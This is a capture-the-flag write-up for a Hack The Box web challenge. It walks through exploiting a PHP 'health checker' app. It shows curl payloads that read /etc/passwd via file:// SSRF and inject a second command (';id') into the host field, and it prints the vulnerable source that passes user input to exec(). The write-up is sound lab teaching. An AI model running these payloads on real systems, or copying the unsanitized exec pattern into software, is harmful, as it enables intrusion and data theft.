~ / writeups / curl

Curl

Hack The Box · Easy · Web

Easy Web Challenge

Machine Overview

Field Value
Name Curl (Health Checker v1.0)
Difficulty Easy
OS Debian 12 (bookworm) container, Talos K8s pod
IP 154.57.164.69:36904
App PHP + nginx, custom MVC (Router/CurlController/CommandModel)
Kernel 6.18.24-talos
Ports 36904 (nginx HTTP)

Flags

Level Path Value
Flag /flag [REDACTED]

Reconnaissance

curl -s -i http://154.57.164.69:36904/
# 200 OK, "Health Checker v1.0", form with host= field
curl -s http://154.57.164.69:36904/static/js/main.js
# fetch('/api/curl', { method:'POST', body:`host=${encodeURIComponent(host.value)}` ...})

Attack Chain

1. Locate the real endpoint

main.js reveals the frontend posts to /api/curl (POST, form-encoded). POSTing to / returns 405 Method Not Allowed.

2. Confirm SSRF via file://

curl -s -X POST http://154.57.164.69:36904/api/curl --data 'host=file:///etc/passwd'
# {"message":"root:x:0:0:root:/root:/bin/bash\n...\nwww:x:1000:1000::/home/www:/bin/sh\n..."}

3. Command injection (the core vuln)

The host field is interpolated into curl -sL $host 2>&1 and run through PHP exec() with no sanitization.

curl -s -X POST http://154.57.164.69:36904/api/curl --data 'host=http://localhost/;id'
# ...uid=1000(www) gid=1000(www) groups=1000(www)

4. Enumerate + read the flag

# ls -la /  →  -rw-r--r--  1 root root 78  /flag
cat /flag
# [REDACTED]

Vulnerable Source (recovered from the box)

// controllers/CurlController.php
public function execute($router) {
    $host = (isset($_POST['host'])) ? $_POST['host'] : 'http://127.0.0.1/';
    $curl = new CommandModel($host);
    return json_encode([ 'message' => $curl->exec() ]);
}

// models/CommandModel.php
class CommandModel {
    public function __construct($host) {
        $this->command = "curl -sL $host 2>&1";   // ← unsanitized
    }
    public function exec() {
        exec($this->command, $output);
        return is_array($output) ? implode("\n", $output) : $output;
    }
}

Techniques Demonstrated

  1. JS source review to discover the API endpoint
  2. SSRF via file:// scheme
  3. OS command injection (; metacharacter) through exec()
  4. Filesystem enumeration to locate the world-readable /flag

Tools Used

curl, Python (urllib helper), PHP source review.

← all writeups